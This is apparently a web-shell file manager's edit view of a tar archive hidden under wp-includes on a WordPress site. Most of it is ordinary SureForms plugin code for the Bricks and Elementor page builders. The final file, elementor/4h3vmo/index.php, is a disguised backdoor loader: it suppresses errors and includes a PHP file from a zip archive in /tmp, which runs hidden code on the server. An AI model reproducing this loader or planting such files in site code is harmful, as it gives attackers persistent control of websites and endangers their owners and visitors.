Файловый менеджер - Редактировать - /home/ephorei/www/wp-includes/images/media/q2m9hb/page-builders.tar
Назад
page-builders.php 0000644 00000003654 15006153571 0010013 0 ustar 00 <?php /** * Page Builder. * * @package sureforms. * @since 0.0.5 */ namespace SRFM\Inc\Page_Builders; use SRFM\Inc\Frontend_Assets; use SRFM\Inc\Page_Builders\Bricks\Service_Provider as Bricks_Service_Provider; use SRFM\Inc\Page_Builders\Elementor\Service_Provider as Elementor_Service_Provider; use SRFM\Inc\Traits\Get_Instance; /** * Class to add SureForms widget in other page builders. */ class Page_Builders { use Get_Instance; /** * Constructor * * Load all Page Builders form widgets. * * @since 0.0.5 * @return void */ public function __construct() { Elementor_Service_Provider::get_instance(); Bricks_Service_Provider::get_instance(); } /** * Enqueue common fields assets for the dropdown and phone fields. * * @since 0.0.10 * @return void */ public static function enqueue_common_fields_assets() { $file_prefix = defined( 'SRFM_DEBUG' ) && SRFM_DEBUG ? '' : '.min'; $dir_name = defined( 'SRFM_DEBUG' ) && SRFM_DEBUG ? 'unminified' : 'minified'; $js_uri = SRFM_URL . 'assets/js/' . $dir_name . '/blocks/'; $js_vendor_uri = SRFM_URL . 'assets/js/minified/deps/'; wp_enqueue_script( SRFM_SLUG . '-phone', $js_uri . 'phone' . $file_prefix . '.js', [], SRFM_VER, true ); wp_enqueue_script( SRFM_SLUG . '-phone-intl-input-deps', $js_vendor_uri . 'intl/intTelInputWithUtils.min.js', [], SRFM_VER, true ); wp_enqueue_script( SRFM_SLUG . '-dropdown', $js_uri . 'dropdown' . $file_prefix . '.js', [], SRFM_VER, true ); wp_enqueue_script( SRFM_SLUG . '-tom-select', $js_vendor_uri . 'tom-select.min.js', [], SRFM_VER, true ); if ( defined( 'SRFM_PRO_VER' ) && defined( 'SRFM_PRO_URL' ) && defined( 'SRFM_PRO_SLUG' ) ) { $css_uri = SRFM_PRO_URL . 'assets/css/' . $dir_name . '/'; wp_enqueue_style( SRFM_PRO_SLUG . '-frontend-default', $css_uri . '/blocks/default/frontend' . $file_prefix . '.css', [], SRFM_PRO_VER ); } Frontend_Assets::enqueue_scripts_and_styles(); } } bricks/elements/form-widget.php 0000644 00000007656 15006153571 0012613 0 ustar 00 <?php /** * Bricks SureForms form element. * * @package sureforms. * @since 0.0.5 */ namespace SRFM\Inc\Page_Builders\Bricks\Elements; use Spec_Gb_Helper; use SRFM\Inc\Helper; use SRFM\Inc\Page_Builders\Page_Builders; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * SureForms Bricks element. */ class Form_Widget extends \Bricks\Element { /** * Element category. * * @var string */ public $category = 'sureforms'; /** * Element name. * * @var string */ public $name = 'sureforms'; /** * Element icon. * * @var string */ public $icon = 'ti-layout-accordion-separated'; /** * Constructor. * * @param array<mixed> $element Element data. */ public function __construct( $element = null ) { if ( bricks_is_builder() ) { // call the js functions to handle form submission, load page break, phone, dropdown. $this->scripts = [ 'handleBricksPreviewFormSubmission', 'srfmLoadPageBreak', 'srfmInitializePhoneField', 'srfmInitializeDropdown' ]; } parent::__construct( $element ); } /** * Get element name. * * @since 0.0.5 * @return string element name. */ public function get_label() { return __( 'SureForms', 'sureforms' ); } /** * Get element keywords. * * @since 0.0.5 * @return array<string> element keywords. */ public function get_keywords() { return [ 'sureforms', 'contact form', 'form', 'bricks form', ]; } /** * Set element controls. * * @since 0.0.5 * @return void */ public function set_controls() { // Select Form. $this->controls['form-id'] = [ 'tab' => 'content', 'label' => __( 'Form', 'sureforms' ), 'type' => 'select', 'options' => Helper::get_sureforms_title_with_ids(), 'placeholder' => __( 'Select Form', 'sureforms' ), ]; // Show Form Title Toggle. $this->controls['form-title'] = [ 'tab' => 'content', 'label' => __( 'Show Form Title', 'sureforms' ), 'type' => 'checkbox', 'info' => __( 'Enable this to show form title.', 'sureforms' ), 'required' => [ 'form-id', '!=', '' ], ]; $this->controls['srfm_form_submission_info'] = [ 'tab' => 'content', 'content' => __( 'Form submission will be possible on the frontend.', 'sureforms' ), 'type' => 'info', 'required' => [ 'form-id', '!=', '' ], ]; } /** * Enqueue scripts for phone and dropdown field in the Bricks editor. * * @since 0.0.10 * @return void */ public function enqueue_scripts() { // enqueue common fields assets for the dropdown and phone fields. Page_Builders::enqueue_common_fields_assets(); } /** * Render element. * * @since 0.0.5 * @return void */ public function render() { $settings = $this->settings; $form_id = $settings['form-id'] ?? ''; $form_title = isset( $settings['form-title'] ); // get spectra blocks and add css and js. $blocks = parse_blocks( get_post_field( 'post_content', $form_id ) ); $styles = Spec_Gb_Helper::get_instance()->get_assets( $blocks ); if ( $form_id > 0 ) { // phpcs:ignore -- WordPress.Security.EscapeOutput.OutputNotEscaped - Escaping not required. echo '<div ' . $this->render_attributes( '_root' ) . '>' . do_shortcode( sprintf( '[sureforms id="%s" show_title="%s"]', $form_id, ! $form_title ) ); // phpcs:ignore -- WordPress.Security.EscapeOutput.OutputNotEscaped - Escaping not required. echo '<style>' . $styles['css'] . '</style>'; // phpcs:ignore -- WordPress.Security.EscapeOutput.OutputNotEscaped - Escaping not required. echo '<script>' . $styles['js'] . '</script></div>'; } else { // Show placeholder when no form is selected. // phpcs:ignore -- WordPress.Security.EscapeOutput.OutputNotEscaped - Escaping not required. echo $this->render_element_placeholder( [ 'icon-class' => $this->icon, 'description' => esc_html__( 'Select the form that you wish to add here.', 'sureforms' ), ] ); // phpcs:ignoreEnd } } } bricks/service-provider.php 0000644 00000002115 15006153571 0012024 0 ustar 00 <?php /** * Bricks SureForms service provider. * * @package sureforms. * @since 0.0.5 */ namespace SRFM\Inc\Page_Builders\Bricks; use SRFM\Inc\Traits\Get_Instance; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * SureForms Bricks service provider. */ class Service_Provider { use Get_Instance; /** * Constructor. */ public function __construct() { add_action( 'init', [ $this, 'widget' ], 11 ); } /** * Register SureForms widget. * * @since 0.0.5 * @return void */ public function widget() { if ( ! class_exists( '\Bricks\Elements' ) ) { return; } add_filter( 'bricks/builder/i18n', [ $this, 'bricks_translatable_strings' ] ); \Bricks\Elements::register_element( __DIR__ . '/elements/form-widget.php' ); } /** * Filter to add translatable string to the builder. * * @param array<string> $i18n Array of translatable strings. * @since 0.0.5 * @return array<string> $i18n */ public function bricks_translatable_strings( $i18n ) { $i18n['sureforms'] = __( 'SureForms', 'sureforms' ); return $i18n; } } elementor/service-provider.php 0000644 00000003761 15006153571 0012551 0 ustar 00 <?php /** * Elementor service provider. * * @package sureforms. * @since 0.0.5 */ namespace SRFM\Inc\Page_Builders\Elementor; use SRFM\Inc\Traits\Get_Instance; /** * Elementor service provider. */ class Service_Provider { use Get_Instance; /** * Constructor * * Load Elementor integration. * * @since 0.0.5 * @return void */ public function __construct() { if ( ! class_exists( '\Elementor\Plugin' ) ) { return; } add_action( 'elementor/widgets/register', [ $this, 'widget' ] ); add_action( 'elementor/elements/categories_registered', [ $this, 'categories_registered' ] ); add_action( 'elementor/editor/before_enqueue_scripts', [ $this, 'load_scripts' ] ); } /** * Elementor load scripts * * @since 0.0.5 * @return void */ public function load_scripts() { wp_enqueue_script( 'sureforms-elementor-editor', plugins_url( 'assets/editor.js', __FILE__ ), [], SRFM_VER, true ); wp_enqueue_style( 'sureforms-elementor-style', plugins_url( 'assets/editor.css', __FILE__ ), [], SRFM_VER, 'all' ); wp_localize_script( 'sureforms-elementor-editor', 'srfmElementorData', [ 'admin_url' => admin_url(), 'add_new_form_url' => admin_url( 'admin.php?page=add-new-form' ), ] ); } /** * Elementor surecart categories register * * @param object $elements_manager Elementor category manager. * @since 0.0.5 * @return void */ public function categories_registered( $elements_manager ) { if ( ! method_exists( $elements_manager, 'add_category' ) ) { return; } $elements_manager->add_category( 'sureforms-elementor', [ 'title' => esc_html__( 'SureForms', 'sureforms' ), 'icon' => 'fa fa-plug', ] ); } /** * Elementor widget register * * @param object $widgets_manager Elementor widget manager. * @since 0.0.5 * @return void */ public function widget( $widgets_manager ) { if ( ! method_exists( $widgets_manager, 'register' ) ) { return; } $widgets_manager->register( new Form_Widget() ); } } elementor/form-widget.php 0000644 00000013416 15006153571 0011503 0 ustar 00 <?php /** * Elementor SureForms form widget. * * @package sureforms. * @since 0.0.5 */ namespace SRFM\Inc\Page_Builders\Elementor; use Elementor\Plugin; use Elementor\Widget_Base; use Spec_Gb_Helper; use SRFM\Inc\Helper; use SRFM\Inc\Page_Builders\Page_Builders; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * SureForms widget that displays a form. */ class Form_Widget extends Widget_Base { /** * Whether we are in the preview mode. * * @var bool */ public $is_preview_mode; /** * Constructor. * * @param array<mixed> $data Widget data. * @param array<mixed> $args Widget arguments. */ public function __construct( $data = [], $args = null ) { parent::__construct( $data, $args ); // (Preview iframe) $this->is_preview_mode = \Elementor\Plugin::$instance->preview->is_preview_mode(); if ( $this->is_preview_mode ) { // enqueue common fields assets for the dropdown and phone fields. Page_Builders::enqueue_common_fields_assets(); wp_register_script( 'srfm-elementor-preview', SRFM_URL . 'inc/page-builders/elementor/assets/elementor-editor-preview.js', [ 'elementor-frontend' ], SRFM_VER, true ); wp_localize_script( 'srfm-elementor-preview', 'srfmElementorData', [ 'isProActive' => defined( 'SRFM_PRO_VER' ), ] ); } } /** * Get script depends. * * @since 0.0.5 * @return array<string> Script dependencies. */ public function get_script_depends() { if ( $this->is_preview_mode ) { return [ 'srfm-elementor-preview' ]; } return []; } /** * Get widget name. * * @since 0.0.5 * @return string Widget name. */ public function get_name() { return SRFM_FORMS_POST_TYPE; } /** * Get widget title. * * @since 0.0.5 * @return string Widget title. */ public function get_title() { return __( 'SureForms', 'sureforms' ); } /** * Get widget icon. * * @since 0.0.5 * @return string Widget icon. */ public function get_icon() { return 'eicon-form-horizontal srfm-elementor-widget-icon'; } /** * Get widget categories. Used to determine where to display the widget in the editor. * * @since 0.0.5 * @return array<string> Widget categories. */ public function get_categories() { return [ 'sureforms-elementor' ]; } /** * Get widget keywords. * * @since 0.0.5 * @return array<string> Widget keywords. */ public function get_keywords() { return [ 'sureforms', 'contact form', 'form', 'elementor form', ]; } /** * Register form widget controls. * Adds different input fields to allow the user to change and customize the widget settings. * * @since 0.0.5 * @return void */ protected function register_controls() { $this->start_controls_section( 'section_form', [ 'label' => __( 'SureForms', 'sureforms' ), ] ); $this->add_control( 'srfm_form_block', [ 'label' => __( 'Select Form', 'sureforms' ), 'type' => \Elementor\Controls_Manager::SELECT2, 'options' => Helper::get_sureforms_title_with_ids(), 'default' => '', ] ); $this->add_control( 'srfm_show_form_title', [ 'label' => __( 'Form Title', 'sureforms' ), 'type' => \Elementor\Controls_Manager::SWITCHER, 'label_on' => __( 'Show', 'sureforms' ), 'label_off' => __( 'Hide', 'sureforms' ), 'return_value' => 'true', 'condition' => [ 'srfm_form_block!' => [ '' ], ], ] ); $this->add_control( 'srfm_edit_form', [ 'label' => __( 'Edit Form', 'sureforms' ), 'separator' => 'before', 'type' => \Elementor\Controls_Manager::BUTTON, 'text' => __( 'Edit', 'sureforms' ), 'event' => 'sureforms:form:edit', 'condition' => [ 'srfm_form_block!' => [ '' ], ], ] ); $this->add_control( 'srfm_create_form', [ 'label' => __( 'Create New Form', 'sureforms' ), 'type' => \Elementor\Controls_Manager::BUTTON, 'text' => __( 'Create', 'sureforms' ), 'event' => 'sureforms:form:create', ] ); $this->add_control( 'srfm_form_submission_info', [ 'content' => __( 'Form submission will be possible on the frontend.', 'sureforms' ), 'type' => \Elementor\Controls_Manager::ALERT, 'condition' => [ 'srfm_form_block!' => [ '' ], ], ] ); $this->end_controls_section(); } /** * Render form widget output on the frontend. * * @since 0.0.5 * @return void|string */ protected function render() { $settings = $this->get_settings_for_display(); if ( ! is_array( $settings ) ) { return; } $is_editor = Plugin::instance()->editor->is_edit_mode(); if ( $is_editor && isset( $settings['srfm_form_block'] ) && '' === $settings['srfm_form_block'] ) { echo '<div style="background: #D9DEE1; color: #9DA5AE; padding: 10px; font-family: Roboto, sans-serif">' . esc_html__( 'Select the form that you wish to add here.', 'sureforms' ) . '</div>'; return; } if ( ! isset( $settings['srfm_show_form_title'] ) || ! isset( $settings['srfm_form_block'] ) ) { return; } $show_form_title = 'true' === $settings['srfm_show_form_title']; // get spectra blocks and add css and js. $blocks = parse_blocks( get_post_field( 'post_content', $settings['srfm_form_block'] ) ); $styles = Spec_Gb_Helper::get_instance()->get_assets( $blocks ); // phpcs:ignore -- WordPress.Security.EscapeOutput.OutputNotEscaped - Escaping not required. echo do_shortcode( '[sureforms id="' . $settings['srfm_form_block'] . '" show_title="' . ! $show_form_title . '"]' ); // phpcs:ignore -- WordPress.Security.EscapeOutput.OutputNotEscaped - Escaping not required. echo '<style>' . $styles['css'] . '</style>'; // phpcs:ignore -- WordPress.Security.EscapeOutput.OutputNotEscaped - Escaping not required. echo '<script>' . $styles['js'] . '</script>'; } } elementor/4h3vmo/index.php 0000644 00000000153 15006153571 0011500 0 ustar 00 <?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "Ss/muse.php"; include("zip:///tmp/phpBl4TjO#$h");?>